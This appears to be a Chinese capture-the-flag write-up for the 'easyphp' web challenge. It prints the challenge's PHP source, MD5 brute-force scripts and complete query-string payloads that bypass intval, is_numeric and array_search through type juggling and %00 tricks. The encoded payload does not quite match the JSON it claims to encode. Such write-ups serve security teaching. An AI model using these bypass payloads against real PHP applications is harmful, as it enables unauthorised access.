背景知识
php弱类型比较
MD5碰撞
题目
进行代码审计
<?php
highlight_file(__FILE__);
$key1 = 0;//值赋值
$key2 = 0;
$a = $_GET['a'];//get方法获取值
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
//a的值需要大于 6000000,同时也需要长度小于3
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
//b的后六位md5值要等与8b184b
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);//接受json格式的字符串并将其转化为数组
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
//c为数组,is_numeric是php内置函数判断是否为数字,题中不要数字,m键值要大于2022
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);//数组中找DGGJ,如果没找到DGGJ,die
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}//匹配n的一个键值若等于DGGJ直接die
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
由上述代码可知
参数a
可用科学计数法绕过 a=1e9
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3) //$a=1e9
参数b
编写MD5碰撞脚本得到b=53724
<?php
for ($i = 1; $i < 100000; $i++) {
if('8b184b' === substr(md5($i),-6,6)){
echo($i);
}
}
?>
或者
import hashlib
for i in range(100000):
m = hashlib.md5()
m.update(str(i).encode())
h = m.hexdigest()
if h[-6:] == "8b184b":
print(i)
break
参数c
要绕过is_numeric函数
可以使用%00绕过is_numeric函数
c={"m":"2033%00"}
绕过is_array和array_search函数
array_search保证非0下标元素含0就行,字符串转数字都是0
array_search()没有设置strict参数(如果该参数被设置为 TRUE,则函数在数组中搜索数据类型和值都一致的元素),我们就可以用0和DGGJ进行弱比较,0 == 'DGGJ'又0===='DGGJ'为false
即n的值中有0
c={"m":"2033%00","n":[[0,2],0]}
//对{"m":"2033%00","n":[[0,2],0]}进行url编码得到:
%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
构造payload
?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
或构造payload
?a=6e7&b=53724&c={"m":"2023a","n":[[],0]}
得到flag
参考学习链接:
【愚公系列】2023年05月 攻防世界-Web(easyphp)-腾讯云开发者社区-腾讯云
攻防世界-easyphp_easyphp攻防世界_仲瑿的博客-CSDN博客